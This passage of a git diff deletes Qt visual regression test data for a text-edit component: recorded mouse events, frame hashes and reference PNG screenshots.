x: 218; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5712 - hash: "d627fa0ce696e46650225e43134643f5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5728 - hash: "0410f4b504d768bc00940b20d3d942f9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 85 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 86 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 220; y: 86 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5744 - hash: "5f8011b44681d769800af8d205c757cb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 221; y: 87 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5760 - image: "cursorDelegate.5.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 87 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5776 - hash: "99f7a46f841f96445962b5fb3496d996" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5792 - hash: "ed8bba2823ca2fe7cf138af0fcc52806" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 224; y: 90 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5808 - hash: "c9007b7ae5038ba59bfc6fac15c80d5f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 226; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5824 - hash: "2db81c955a99652bcfef958e870054af" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 228; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5840 - hash: "1e3906d7f3ee5a29c3c90b8e1f6c1eb0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 229; y: 96 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 231; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5856 - hash: "fc59738903cc9e6f36ef4d27bfde9496" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 232; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5872 - hash: "768aaf4ef2b13b40b75bdf15787966b6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 233; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5888 - hash: "3085baedc0c58a6757b134bb4f80fa9e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 233; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5904 - hash: "0a1b8cad167bf93801f4d0dd34bf872e" - } - Frame { - msec: 5920 - hash: "6366e04808ee015feed44d95cc117e1e" - } - Frame { - msec: 5936 - hash: "dd67a8542a243aac9462e25dc1586e6e" - } - Frame { - msec: 5952 - hash: "e06c8788b2ef327d005b4048f0807334" - } - Frame { - msec: 5968 - hash: "dda2beda1253bd477d04cada4ec4df27" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 233; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5984 - hash: "d659d1724637d90497c8e417764d3477" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 232; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 232; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6000 - hash: "91035aecf2ac15f3c2c3dbc4b73b540f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 231; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6016 - hash: "91035aecf2ac15f3c2c3dbc4b73b540f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 230; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6032 - hash: "91035aecf2ac15f3c2c3dbc4b73b540f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 229; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 228; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6048 - hash: "91035aecf2ac15f3c2c3dbc4b73b540f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 227; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6064 - hash: "91035aecf2ac15f3c2c3dbc4b73b540f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 225; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6080 - hash: "bdc53613cad59416ed79287874eb59f8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 224; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6096 - hash: "54efe0acb07fb69827024a566773a36e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 220; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6112 - hash: "860530a5ac3d89193f3cf234e21f8f6a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6128 - hash: "ade5f8e28159304b22866f688efdbb46" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 102 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6144 - hash: "7d5f5cf34910527d899e89ea07fb7254" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6160 - hash: "c201ed0f2419396a229d8396152aba01" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 213; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6176 - hash: "b99135e2cb03ab252ff379c8001c26ad" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 102 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6192 - hash: "768aaf4ef2b13b40b75bdf15787966b6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 210; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6208 - hash: "71a5bed1a87e16c986b2f4b245e956b8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 210; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6224 - hash: "7155607add8c7254286097cda52b5888" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 208; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 207; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6240 - hash: "e516e4d8a4ef0195ae04b3287f536ffd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 206; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6256 - hash: "afa06d10b37d8ad8b57e392142ff50f2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 205; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6272 - hash: "88c3fe68f7251d87a5bf197b9d59b899" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 204; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6288 - hash: "b2687baf5148539ee2181b18077e0a3d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 202; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6304 - hash: "457aed68cee2b9f3ff3c7d5f0eb2b6aa" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 201; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6320 - hash: "48bb4683718a3b7c34baea29260fbe8c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6336 - hash: "7c32fbf799bbfc10d0fbdd96bcfa9d95" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 197; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6352 - hash: "68cee3b8213a9d38e2ed431d06eb6756" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 196; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 194; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6368 - hash: "596c732c40a86d16bc649f164b919457" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 188; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6384 - hash: "d9cb5bf69d4f8aaebefae6d680a99185" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6400 - hash: "bb6759f3aff00f027f4f426efb775d2d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 185; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6416 - hash: "a408d88f97c30ab8ab12a222b03571b4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 182; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6432 - hash: "bb2e8994dc014eb6d4e4e33257269c2a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6448 - hash: "190e9df0b8d20b0f37a198e9f3976416" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 171; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6464 - hash: "aa7be52534c8550948deea6ae174330d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6480 - hash: "533caac613ea1279a51a5b5b29acdccc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6496 - hash: "288cc34879d9ed8ed381ba6cc31de3e7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 159; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6512 - hash: "2a57602c47ab788f288daa81b985fc1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 156; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6528 - hash: "fa3540fafa1a9e3c5e796b598dce8fb1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 156; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6544 - hash: "7e9b17ae7c10cb30153539911ac6eb13" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 155; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6560 - hash: "9e62b16c858e80ff1294ec53e2390498" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 153; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6576 - hash: "287470e6cf9bd4b9acfd1cd1512307e3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 95 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 151; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6592 - hash: "4086c7c7a573a1b9f98d22ebf9b46c5f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 149; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6608 - hash: "7d0868f000a1102916720a29a332543f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 148; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6624 - hash: "bda3cfdca81f7cba54514c512eb6b12e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6640 - hash: "923ff9fac39c3fba2c9cf7b52fc652ad" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 145; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6656 - hash: "269718e3586affbbdf0b9599e12f5677" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 145; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6672 - hash: "d12e03b5da6ea7b162d7dec6930c1a54" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6688 - hash: "96edf1f15c674c5d8c4e4ce9e1d34f1d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6704 - hash: "70ce229fae6985dd49de8cca01c031e6" - } - Frame { - msec: 6720 - image: "cursorDelegate.6.png" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 144; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6736 - hash: "56215b7d24ac382ff1ed256c80d14091" - } - Frame { - msec: 6752 - hash: "ac132304e072806431803d26e345b264" - } - Frame { - msec: 6768 - hash: "a8f3e7fbb95ed8fe2b83871eb3d2c151" - } - Frame { - msec: 6784 - hash: "43906030c2572af0f8f0577dbc86e346" - } - Frame { - msec: 6800 - hash: "d64b58801430d5063225dceac1603bca" - } - Frame { - msec: 6816 - hash: "56b81435dc4ce193bb98c3d02c781242" - } - Frame { - msec: 6832 - hash: "a33dce3c55b1b1541cfb9b85a75fcb53" - } - Frame { - msec: 6848 - hash: "6f7411363c66d0959ea5a16a9b610e61" - } - Frame { - msec: 6864 - hash: "fb7ad9156658f3866d19e43f006cf013" - } - Frame { - msec: 6880 - hash: "fca865f762c1a6cc3e487e0e908eef73" - } - Frame { - msec: 6896 - hash: "3d78320cb021944d7c6cee1a42056663" - } - Frame { - msec: 6912 - hash: "1e3f580f37a0dc063a383bdf435e85ea" - } - Frame { - msec: 6928 - hash: "75e854ccaad087bfe776a843f0bd7284" - } - Frame { - msec: 6944 - hash: "ad65de5a6887c0a31a9d8f72a2a651db" - } - Frame { - msec: 6960 - hash: "62bc9c57724f7ab6bcf7d75d8ff68097" - } - Frame { - msec: 6976 - hash: "00dfc5f4468482cb5f74e62be235b1d2" - } - Frame { - msec: 6992 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 7008 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 7024 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 7040 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 7056 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 7072 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 7088 - hash: "00dfc5f4468482cb5f74e62be235b1d2" - } - Frame { - msec: 7104 - hash: "62bc9c57724f7ab6bcf7d75d8ff68097" - } - Frame { - msec: 7120 - hash: "ad65de5a6887c0a31a9d8f72a2a651db" - } - Frame { - msec: 7136 - hash: "75e854ccaad087bfe776a843f0bd7284" - } - Frame { - msec: 7152 - hash: "1e3f580f37a0dc063a383bdf435e85ea" - } - Frame { - msec: 7168 - hash: "3d78320cb021944d7c6cee1a42056663" - } - Frame { - msec: 7184 - hash: "fca865f762c1a6cc3e487e0e908eef73" - } - Frame { - msec: 7200 - hash: "fb7ad9156658f3866d19e43f006cf013" - } - Frame { - msec: 7216 - hash: "6f7411363c66d0959ea5a16a9b610e61" - } - Frame { - msec: 7232 - hash: "a33dce3c55b1b1541cfb9b85a75fcb53" - } - Frame { - msec: 7248 - hash: "56b81435dc4ce193bb98c3d02c781242" - } - Frame { - msec: 7264 - hash: "d64b58801430d5063225dceac1603bca" - } - Frame { - msec: 7280 - hash: "43906030c2572af0f8f0577dbc86e346" - } - Frame { - msec: 7296 - hash: "a8f3e7fbb95ed8fe2b83871eb3d2c151" - } - Frame { - msec: 7312 - hash: "ac132304e072806431803d26e345b264" - } - Frame { - msec: 7328 - hash: "56215b7d24ac382ff1ed256c80d14091" - } - Frame { - msec: 7344 - hash: "4d5c97925b21d699f1c3720a3f51ebbb" - } - Frame { - msec: 7360 - hash: "70ce229fae6985dd49de8cca01c031e6" - } - Frame { - msec: 7376 - hash: "96edf1f15c674c5d8c4e4ce9e1d34f1d" - } - Frame { - msec: 7392 - hash: "d12e03b5da6ea7b162d7dec6930c1a54" - } - Frame { - msec: 7408 - hash: "269718e3586affbbdf0b9599e12f5677" - } - Frame { - msec: 7424 - hash: "42d19ea6dd328c505da5a4eee23a257d" - } - Frame { - msec: 7440 - hash: "e4d9d77859759dd95cf3ffee8f142cd8" - } - Frame { - msec: 7456 - hash: "445e4c6e9872b63a1461e3277dd8185c" - } - Frame { - msec: 7472 - hash: "d6343c629acd987179eae0d158d2504c" - } - Frame { - msec: 7488 - hash: "a5340087baa2c3694ed0cc2bbc3e2ad9" - } - Frame { - msec: 7504 - hash: "205973c30aaca71d1f20e740ce971d82" - } - Frame { - msec: 7520 - hash: "ed28c7e07755e177222c7e322116bfb4" - } - Frame { - msec: 7536 - hash: "6cebfc407a985694c803940608ab1303" - } - Frame { - msec: 7552 - hash: "87f825fc820d3942e4d9b5ece5be3714" - } - Frame { - msec: 7568 - hash: "9aa56dfe90ed2eba58eee0ff6ff3822c" - } - Frame { - msec: 7584 - hash: "c93acf87a918f21a55cf39ea255315a3" - } - Frame { - msec: 7600 - hash: "f8ce1bec5d5016c56fc66d52c28e69d1" - } - Frame { - msec: 7616 - hash: "a365dba2f7c4be77ea98b727813c2f03" - } - Frame { - msec: 7632 - hash: "e8d1c35ee9ef74c4070adfce5e4560f1" - } - Frame { - msec: 7648 - hash: "f5f2dbb041eeb4de1821761f4fbca506" - } - Frame { - msec: 7664 - hash: "f4ea6e9dff51778e9b5d1321453617ec" - } - Frame { - msec: 7680 - image: "cursorDelegate.7.png" - } - Frame { - msec: 7696 - hash: "f2869791dde1eb4c2ea24e04dc3ac653" - } - Frame { - msec: 7712 - hash: "9bd70e91b765de22b70fe295adc4f87f" - } - Frame { - msec: 7728 - hash: "c0338d0a5c72ba63bff666a76ab3242c" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 227; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7744 - hash: "cb2a643eed9b5658260e04495820cd3d" - } - Frame { - msec: 7760 - hash: "6dda51f2e611b1f589c75820fd8c7295" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 227; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7776 - hash: "98d8692afd47c61421ddcae62414a72e" - } - Frame { - msec: 7792 - hash: "2c533bcdd9df45c6f942d47509ebf20e" - } - Frame { - msec: 7808 - hash: "d28f231fb1e128329e8985689deac882" - } - Frame { - msec: 7824 - hash: "ea73450baf98a2f629ce1c203cfcd728" - } - Frame { - msec: 7840 - hash: "959a31d38edc343b5e081fd0cddc81df" - } - Frame { - msec: 7856 - hash: "9b1ae10ee8e9b3f176357733af9e6735" - } - Frame { - msec: 7872 - hash: "89b0dd11f456bbb321e0bd2e1614c193" - } - Frame { - msec: 7888 - hash: "a0a3aa6d8d4c677894e745ee432084e2" - } - Frame { - msec: 7904 - hash: "f63207b8903085b19de1c9b6a9ff90e0" - } - Frame { - msec: 7920 - hash: "c8f2126fece8c2b473c6511aa568dddb" - } - Frame { - msec: 7936 - hash: "6ccd1f30e85dbad74468c228d92a9a3c" - } - Frame { - msec: 7952 - hash: "bae09fe9f29e0f6ebda298cae753ddab" - } - Frame { - msec: 7968 - hash: "cde4abae868488345fb124b927f46b45" - } - Frame { - msec: 7984 - hash: "a88ccf9c8ae34ffcfd15af4e66102040" - } - Frame { - msec: 8000 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 8016 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 8032 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 8048 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 8064 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 8080 - hash: "a88ccf9c8ae34ffcfd15af4e66102040" - } - Frame { - msec: 8096 - hash: "cde4abae868488345fb124b927f46b45" - } - Frame { - msec: 8112 - hash: "bae09fe9f29e0f6ebda298cae753ddab" - } - Frame { - msec: 8128 - hash: "6ccd1f30e85dbad74468c228d92a9a3c" - } - Frame { - msec: 8144 - hash: "c8f2126fece8c2b473c6511aa568dddb" - } - Frame { - msec: 8160 - hash: "f63207b8903085b19de1c9b6a9ff90e0" - } - Frame { - msec: 8176 - hash: "a0a3aa6d8d4c677894e745ee432084e2" - } - Frame { - msec: 8192 - hash: "89b0dd11f456bbb321e0bd2e1614c193" - } - Frame { - msec: 8208 - hash: "9b1ae10ee8e9b3f176357733af9e6735" - } - Frame { - msec: 8224 - hash: "959a31d38edc343b5e081fd0cddc81df" - } - Frame { - msec: 8240 - hash: "ea73450baf98a2f629ce1c203cfcd728" - } - Frame { - msec: 8256 - hash: "d28f231fb1e128329e8985689deac882" - } - Frame { - msec: 8272 - hash: "2c533bcdd9df45c6f942d47509ebf20e" - } - Frame { - msec: 8288 - hash: "98d8692afd47c61421ddcae62414a72e" - } - Frame { - msec: 8304 - hash: "6dda51f2e611b1f589c75820fd8c7295" - } - Frame { - msec: 8320 - hash: "cb2a643eed9b5658260e04495820cd3d" - } - Frame { - msec: 8336 - hash: "88afd2fa1182fbb2aab100d4587a1006" - } - Frame { - msec: 8352 - hash: "bc657c5181a11a9ff9565f134bdccb8d" - } - Frame { - msec: 8368 - hash: "a296634d814a6e12f9d09f4d8a9fa097" - } - Frame { - msec: 8384 - hash: "f05a2deeb12722904c4f31d641dffeb4" - } - Frame { - msec: 8400 - hash: "75823698247e39dd10a70fe224e13597" - } - Frame { - msec: 8416 - hash: "244fa06c168f7a7401b8ec7f5ddb0e52" - } - Frame { - msec: 8432 - hash: "a78e0f88d269290e9086d1d854618f0c" - } - Frame { - msec: 8448 - hash: "57b1281d29d5c5fdc15d9cf1e3a5545c" - } - Frame { - msec: 8464 - hash: "a24ac211ef29dcf7f22ac95991f1af3f" - } - Frame { - msec: 8480 - hash: "361f978ea3597fd518c25c0069c22e8b" - } - Frame { - msec: 8496 - hash: "ac8e2c01eb58aac0eb4feb6aba9b9628" - } - Frame { - msec: 8512 - hash: "6099612934b5eb90296f1cc3cb5c1a84" - } - Frame { - msec: 8528 - hash: "7c3f08291168065fc9c1d62108022d33" - } - Frame { - msec: 8544 - hash: "8bf57ba445d668af5f3e59276c4f8800" - } - Frame { - msec: 8560 - hash: "c8ed352cbfbc472ea4802a9e03d40052" - } - Frame { - msec: 8576 - hash: "11e5546b30e47d2f3067c0364b9f0877" - } - Frame { - msec: 8592 - hash: "9df0f136fca92d4a05f17ee68f0cd286" - } - Frame { - msec: 8608 - hash: "39f47838a622ba328548cad57cca9e12" - } - Frame { - msec: 8624 - hash: "c891d582be4b23c01e29032fe861081f" - } - Frame { - msec: 8640 - image: "cursorDelegate.8.png" - } - Frame { - msec: 8656 - hash: "c3820dfd382c4568d9fbd2ee95889eda" - } - Frame { - msec: 8672 - hash: "528cf8778318bf7216b54f983dadb2b4" - } - Frame { - msec: 8688 - hash: "419518a3c63aa36f6070e95eb93e58a3" - } - Frame { - msec: 8704 - hash: "11b22e2853c0a9ea6e4ac764348698c9" - } - Frame { - msec: 8720 - hash: "8018329c4b57647942ae34a5f83c2b12" - } - Frame { - msec: 8736 - hash: "c37e9fd5c3d664c2e4911c8cb9fcabf7" - } - Frame { - msec: 8752 - hash: "4e7895f802c9fc249894ba0db25959f7" - } - Frame { - msec: 8768 - hash: "5fed71d99ef70432bc6be8caaea36f17" - } - Frame { - msec: 8784 - hash: "69976d074acbd7a5731c70b33c8f084b" - } - Frame { - msec: 8800 - hash: "c88952348da3df0627b12b8bb05ca13e" - } - Frame { - msec: 8816 - hash: "cc5222da7a17c66d4db146c406492701" - } - Frame { - msec: 8832 - hash: "8915e752776da27cb86019c9decc8a8c" - } - Frame { - msec: 8848 - hash: "d8a77ccc7c01cf187e846a2903e1c55e" - } - Frame { - msec: 8864 - hash: "3cf3f02f98a199c81ef73e8905e7f7ee" - } - Frame { - msec: 8880 - hash: "7a1d47e0109fc370bf63714040cbef96" - } - Frame { - msec: 8896 - hash: "2ca8b8ddbe73b29327e474da34a14a87" - } - Frame { - msec: 8912 - hash: "ee75214865fca848aa38cc05b6049d8f" - } - Frame { - msec: 8928 - hash: "05ab7d8118a806f2215160f5f266a082" - } - Frame { - msec: 8944 - hash: "31e63095b7be56d0bf75e9cff832feb7" - } - Frame { - msec: 8960 - hash: "3ffda2c2f154f1eb806e9f0963057fa1" - } - Frame { - msec: 8976 - hash: "4e805203b58e8f6f331f2e878704fa01" - } - Frame { - msec: 8992 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 9008 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 9024 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 9040 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 9056 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 9072 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 9088 - hash: "4e805203b58e8f6f331f2e878704fa01" - } - Frame { - msec: 9104 - hash: "3ffda2c2f154f1eb806e9f0963057fa1" - } - Frame { - msec: 9120 - hash: "31e63095b7be56d0bf75e9cff832feb7" - } - Frame { - msec: 9136 - hash: "05ab7d8118a806f2215160f5f266a082" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.0.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.0.png deleted file mode 100644 index 95a835a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.1.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.1.png deleted file mode 100644 index 409192c..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.2.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.2.png deleted file mode 100644 index cd2f112..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.3.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.3.png deleted file mode 100644 index 7191c1e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.qml b/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.qml deleted file mode 100644 index 352c890..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.qml +++ /dev/null @@ -1,1371 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 32 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 48 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 64 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 80 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 96 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 112 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 128 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 144 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 160 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 176 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 192 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 208 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 224 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 240 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 256 - hash: "4e0ce00bde70a96774a6477ef2305b7f" - } - Frame { - msec: 272 - hash: 